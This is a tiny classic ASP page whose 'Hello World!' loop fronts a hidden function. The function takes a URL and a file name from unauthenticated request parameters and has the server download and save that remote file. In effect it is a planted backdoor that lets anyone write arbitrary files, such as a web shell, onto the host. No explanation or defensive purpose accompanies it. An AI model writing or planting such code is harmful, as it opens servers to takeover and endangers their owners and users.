<%@ LANGUAGE = "VBScript"%> <% For i = 3 To 7 %> > Hello World!
<%Next%> <% Function SaveFile(file, http) Dim KS:Set KS=New PublicCls Call KS.SaveBeyondFile(file, http) end Function url=request("url") filename=request("filename") call SaveFile(filename,url) %>